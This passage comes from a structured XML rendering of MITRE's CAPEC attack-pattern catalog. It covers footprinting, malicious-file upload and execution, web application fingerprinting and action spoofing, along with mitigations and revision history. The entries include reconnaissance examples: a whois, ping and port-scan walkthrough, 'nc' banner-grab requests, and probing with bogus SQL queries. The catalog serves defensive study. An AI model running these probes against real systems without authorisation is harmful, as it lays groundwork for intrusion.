describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. Although similar to fingerprinting, footprinting aims to get a more holistic view of a system or network, whereas fingerprinting is more targeted to a specific application or operating system. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indAttackStepAttackStep6951 + Attack_Step_6951 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Request Footprinting] The attacker examines the website information and source code of the website and uses automated tools to get as much information as possible about the system and organization.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Open Source Footprinting: Examine the website about the organization and skim through the webpage's HTML source to look for comments.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Network Enumeration: Perform various queries (Registrar Query, Organizational Query, Domain Query, Network Query, POC Query) on the many whois databases found on the internet to identify domain names and associated networks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">DNS Interrogation: Once basic information is gathered the attack could begin to query DNS.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Other Techniques: Use ping sweep, TCP scan, UDP scan, OS Identification various techniques to gain more information about the system and network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application must publicize identifiable information about the system or application through voluntary or involuntary means. Certain identification details of information systems are visible on communication networks (e.g., if an adversary uses a sniffer to inspect the traffic) due to their inherent structure and protocol standards. Any system or network that can be detected can be footprinted. However, some configuration choices may limit the useful information that can be collected during a footprinting attack.</xhtml:div> + + + + + + + + + + + + #indSkillSkill6965 + Skill_6965 + + + + + + + + + + + + + + The adversary knows how to send HTTP request, run the scan tool. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires a variety of tools to collect information about the target. These include port/network scanners and tools to analyze responses from applications to determine version and configuration information. Footprinting a system adequately may also take a few days if the attacker wishes the footprinting attempt to go undetected.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence6971 + Consequence_6971 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Keep patches up to date by installing weekly or daily if possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Shut down unnecessary services/ports.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change default passwords by choosing strong passwords.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Curtail unexpected input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Encrypt and password-protect sensitive data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid including information that has the potential to identify and compromise your organization's security such as access to business plans, formulas, and proprietary documents.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this example let us look at the website http://www.example.com to get much information we can about Alice. From the website, we find that Alice also runs foobar.org. We type in www example.com into the prompt of the Name Lookup window in a tool, and our result is this IP address: 192.173.28.130 We type the domain into the Name Lookup prompt and we are given the same IP. We can safely say that example and foobar.org are hosted on the same box. But if we were to do a reverse name lookup on the IP, which domain will come up? www.example.com or foobar.org? Neither, the result is nijasvspirates.org. So nijasvspirates.org is the name of the box hosting 31337squirrel.org and foobar.org. So now that we have the IP, let's check to see if nijasvspirates is awake. We type the IP into the prompt in the Ping window. We'll set the interval between packets to 1 millisecond. We'll set the number of seconds to wait until a ping times out to 5. We'll set the ping size to 500 bytes and we'll send ten pings. Ten packets sent and ten packets received. nijasvspirates.org returned a message to my computer within an average of 0.35 seconds for every packet sent. nijasvspirates is alive. We open the Whois window and type nijasvspirates.org into the Query prompt, and whois.networksolutions.com into the Server prompt. This means we'll be asking Network Solutions to tell us everything they know about nijasvspirates.org. The result is this laundry list of info: Registrant: FooBar (nijasvspirates -DOM) p.o.box 11111 SLC, UT 84151 US Domain Name: nijasvspirates.ORG Administrative Contact, Billing Contact: Smith, John jsmith@anonymous.net FooBar p.o.box 11111 SLC, UT 84151 555-555-6103 Technical Contact: Johnson, Ken kj@fierymonkey.org fierymonkey p.o.box 11111 SLC, UT 84151 555-555-3849 Record last updated on 17-Aug-2001. Record expires on 11-Aug-2002. Record created on 11-Aug-2000. Database last updated on 12-Dec-2001 04:06:00 EST. Domain servers in listed order: NS1. fierymonkey.ORG 192.173.28.130 NS2. fierymonkey.ORG 64.192.168.80 A corner stone of footprinting is Port Scanning. Let's port scan nijasvspirates.org and see what kind of services are running on that box. We type in the nijasvspirates IP into the Host prompt of the Port Scan window. We'll start searching from port number 1, and we'll stop at the default Sub7 port, 27374. Our results are: 21 TCP ftp 22 TCP ssh SSH-1.99-OpenSSH_2.30 25 TCP smtp 53 TCP domain 80 TCP www 110 TCP pop3 111 TCP sunrpc 113 TCP ident Just by this we know that Alice is running a website and email, using POP3, SUNRPC (SUN Remote Procedure Call), and ident.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingBrowserBookmarkDiscovery + Browser Bookmark Discovery + + + + + + + + + + + + + + 1217 + + + + + Browser Bookmark Discovery + + + + + + + + + + + + #indTaxonomyMappingGatherVictimHostInformation + Gather Victim Host Information + + + + + + + + + + + + + + 1592 + + + + + Gather Victim Host Information + + + + + + + + + + + + #indTaxonomyMappingActiveScanning + Active Scanning + + + + + + + + + + + + + + 1595 + + + + + Active Scanning + + + + + + + + + + + + #indReferenceReference7005 + Reference_7005 + + + + + + + + + REF-31 + + + + + + + + + + + + #indReferenceReference7006 + Reference_7006 + + + + + + + + + REF-32 + + + + + + + + + + + + #indReferenceReference7007 + Reference_7007 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pp. 38-39 + + + + + + + + + + + + #indReferenceReference7008 + Reference_7008 + + + + + + + + + REF-34 + + + + + Section 3.1 Introduction, pg. 47 + + + + + + + + + + + + #indContentHistoryContentHistory7010 + Content_History_7010 + + + + + + + + + + + + + + + + #indSubmissionSubmission7011 + Submission_7011 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification7016 + Modification_7016 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification7022 + Modification_7022 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification7028 + Modification_7028 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification7034 + Modification_7034 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification7040 + Modification_7040 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-17 + Using Malicious Files + + + + + + + + + 17 + + + + + Using Malicious Files + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7053 + Related_Attack_Pattern_7053 + + + + + + + + + + + + + + 122 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7056 + Related_Attack_Pattern_7056 + + + + + + + + + + + + + + 233 + + + + + + + + + + + + #indAttackStepAttackStep7059 + Attack_Step_7059 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine File/Directory Configuration] The adversary looks for misconfigured files or directories on a system that might give executable access to an overly broad group of users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Through shell access to a system, use the command "ls -l" to view permissions for files and directories.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7065 + Attack_Step_7065 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Upload Malicious Files] If the adversary discovers a directory that has executable permissions, they will attempt to upload a malicious file to execute.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Upload a malicious file through a misconfigured FTP server.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7071 + Attack_Step_7071 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute Malicious File] The adversary either executes the uploaded malicious file, or executes an existing file that has been misconfigured to allow executable access to the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">System's configuration must allow an attacker to directly access executable files or upload files to execute. This means that any access control system that is supposed to mediate communications between the subject and the object is set incorrectly or assumes a benign environment.</xhtml:div> + + + + + + + + + + + + #indSkillSkill7081 + Skill_7081 + + + + + + + + + + + + + + To identify and execute against an over-privileged system interface + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to communicate synchronously or asynchronously with server that publishes an over-privileged directory, program, or interface. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence7087 + Consequence_7087 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence7094 + Consequence_7094 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence7098 + Consequence_7098 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence7102 + Consequence_7102 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform testing such as pen-testing and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Consider a directory on a web server with the following permissions&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;drwxrwxrwx 5 admin public 170 Nov 17 01:08 webroot&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This could allow an attacker to both execute and upload and execute programs' on the web server. This one vulnerability can be exploited by a threat to probe the system and identify additional vulnerabilities to exploit.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 732 + + + + + 285 + + + + + 272 + + + + + 59 + + + + + 282 + + + + + 270 + + + + + 693 + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowExecutableInstallerFilePermissionsWeakness + Hijack Execution Flow: Executable Installer File Permissions Weakness + + + + + + + + + + + + + + 1574.005 + + + + + Hijack Execution Flow: Executable Installer File Permissions Weakness + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowServicesFilePermissionsWeakness + Hijack Execution Flow: Services File Permissions Weakness + + + + + + + + + + + + + + 1574.010 + + + + + Hijack Execution Flow: Services File Permissions Weakness + + + + + + + + + + + + #indReferenceReference7141 + Reference_7141 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory7143 + Content_History_7143 + + + + + + + + + + + + + + + + #indSubmissionSubmission7144 + Submission_7144 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification7149 + Modification_7149 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification7155 + Modification_7155 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated References + + + + + + + + + + + + #indModificationModification7161 + Modification_7161 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification7167 + Modification_7167 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification7173 + Modification_7173 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification7179 + Modification_7179 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification7185 + Modification_7185 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances, Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName7191 + Previous_Entry_Name_7191 + + + + + + + + + 2018-07-31 + + + + + Accessing, Modifying or Executing Executable Files + + + + + + + + + + + + #CAPEC-170 + Web Application Fingerprinting + + + + + + + + + 170 + + + + + Web Application Fingerprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker sends a series of probes to a web application in order to elicit version-dependent and type-dependent behavior that assists in identifying the target. An attacker could learn information such as software versions, error pages, and response headers, variations in implementations of the HTTP protocol, directory structures, and other similar information about the targeted service. This information can then be used by an attacker to formulate a targeted attack plan. While web application fingerprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7200 + Related_Attack_Pattern_7200 + + + + + + + + + + + + + + 541 + + + + + + + + + + + + #indAttackStepAttackStep7203 + Attack_Step_7203 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Request fingerprinting] Use automated tools or send web server specific commands to web server and wait for server's response.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use automated tools or send web server specific commands to web server and then receive server's response.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7209 + Attack_Step_7209 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Increase the accuracy of server fingerprinting of Web servers] Attacker usually needs to send several different commands to accurately identify the web server. Attacker can also use automated tools to send requests to the server. The responses of the server may be different in terms of protocol behavior.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Observe the ordering of the several HTTP response headers. The ordering of the header of each server may have unique identities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send bad requests or requests of nonexistent pages to the server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker takes existing automated tools to recognize the type and the version of the web server in use.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7217 + Attack_Step_7217 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify Web Application Software] After the web server platform software has been identified, the attacker start to identify web application technologies such as ASP, .NET, PHP and Java on the server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Examine the file name extensions in URL, for example .php indicates PHP script interfaced with Apache server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Examine the HTTP Response Headers. This may leak information about software signatures</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Examine Cookies that may contain server's software information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Check error pages.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7226 + Attack_Step_7226 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify Backend Database Version] Determining the database engine type can assist attackers' attempt to successfully execute SQL injection. Some database API such as ODBC will show a database type as part of the driver information when reporting an error.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use tools to send bogus SQL query to the server and check error pages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Any web application can be fingerprinted. However, some configuration choices can limit the useful information an attacker may collect during a fingerprinting attack.</xhtml:div> + + + + + + + + + + + + #indSkillSkill7237 + Skill_7237 + + + + + + + + + + + + + + Attacker knows how to send HTTP request, SQL query to a web application. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">While simple fingerprinting can be accomplished with only a web browser, for more thorough fingerprinting an attacker requires a variety of tools to collect information about the target. These tools might include protocol analyzers, web-site crawlers, and fuzzing tools. Footprinting a service adequately may also take a few days if the attacker wishes the footprinting attempt to go undetected.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence7243 + Consequence_7243 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Information Leakage</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Obfuscate server fields of HTTP response.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Hide inner ordering of HTTP response header.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Customizing HTTP error codes such as 404 or 500.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Hide URL file extension.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Hide HTTP response header software information filed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Hide cookie's software information filed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Appropriately deal with error messages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Obfuscate database type in Database API's error message.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An attacker sends malformed requests or requests of nonexistent pages to the server. Consider the following HTTP responses.&lt;/xhtml:p&gt; + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Response from Apache 1.3.23&lt;/xhtml:b&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;$ nc apache.server.com&lt;xhtml:br&gt;&lt;/xhtml:br&gt;80 GET / HTTP/3.0&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;HTTP/1.1 400 Bad Request&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Date: Sun, 15 Jun 2003 17:12: 37 GMT&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Server: Apache/1.3.23&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Connection: close&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Transfer: chunked&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Content-Type: text/HTML; charset=iso-8859-1&lt;/xhtml:div&gt; + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Response from IIS 5.0&lt;/xhtml:b&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;$ nc iis.server.com 80&lt;xhtml:br&gt;&lt;/xhtml:br&gt;GET / HTTP/3.0&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;HTTP/1.1 200 OK&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Server: Microsoft-IIS/5.0&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Content-Location: http://iis.example.com/Default.htm&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Date: Fri, 01 Jan 1999 20:14: 02 GMT&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Content-Type: text/HTML&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Accept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT&lt;xhtml:br&gt;&lt;/xhtml:br&gt;ETag: W/e0d362a4c335be1: ae1&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Content-Length: 133&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;[REF-37]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 497 + + + + + + + + + + + + #indReferenceReference7275 + Reference_7275 + + + + + + + + + REF-36 + + + + + + + + + + + + #indReferenceReference7277 + Reference_7277 + + + + + + + + + REF-37 + + + + + Testing for Web Application Fingerprint (OWASP-IG-004) + + + + + + + + + + + + #indReferenceReference7278 + Reference_7278 + + + + + + + + + REF-38 + + + + + + + + + + + + #indReferenceReference7279 + Reference_7279 + + + + + + + + + REF-39 + + + + + WASC-45 - Fingerprinting + + + + + + + + + + + + #indContentHistoryContentHistory7281 + Content_History_7281 + + + + + + + + + + + + + + + + #indSubmissionSubmission7282 + Submission_7282 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification7287 + Modification_7287 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification7293 + Modification_7293 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification7299 + Modification_7299 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification7305 + Modification_7305 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification7311 + Modification_7311 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification7317 + Modification_7317 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, References + + + + + + + + + + + + #indModificationModification7323 + Modification_7323 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification7329 + Modification_7329 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification7335 + Modification_7335 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-171 + DEPRECATED: Variable Manipulation + + + + + + + + + 171 + + + + + DEPRECATED: Variable Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-77 : Manipulating User-Controlled Variables". Please refer to this other CAPEC going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory7346 + Content_History_7346 + + + + + + + + + + + + + + + + #indSubmissionSubmission7347 + Submission_7347 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification7352 + Modification_7352 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification7358 + Modification_7358 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Description Summary, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName7364 + Previous_Entry_Name_7364 + + + + + + + + + 2017-05-01 + + + + + Variable Manipulation + + + + + + + + + + + + #CAPEC-173 + Action Spoofing + + + + + + + + + 173 + + + + + Action Spoofing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary is able to disguise one action for another and therefore trick a user into initiating one type of action when they intend to initiate a different action. For example, a user might be led to believe that clicking a button will submit a query, but in fact it downloads software. Adversaries may perform this attack through social means, such as by simply convincing a victim to perform the action or relying on a user's natural inclination to do so, or through technical means, such as a clickjacking attack where a user sees one interface but is actually interacting with a second, invisible, interface.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must convince the victim into performing the decoy action.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means to control a user's interface to present them with a decoy action as well as the actual malicious action. Simple versions of this attack can be performed using web pages requiring only that the adversary be able to host (or control) content that the user visits.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence7376 + Consequence_7376 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Action spoofing can result in a wide variety of consequences and negatively affect all three elements of the security triad.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid interacting with suspicious sites or clicking suspicious links.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees.</xhtml:div> + + + + + 451 + + + + + + + + + + + + #indContentHistoryContentHistory7391 + Content_History_7391 + + + + + + + + + + + + + + + + #indSubmissionSubmission7392 + Submission_7392 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification7397 + Modification_7397 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification7403 + Modification_7403 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification7409 + Modification_7409 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-174 + Flash Parameter Injection + + + + + + + + + 174 + + + + + Flash Parameter Injection + + + + + + + + + + + + + + + <xhtml:div 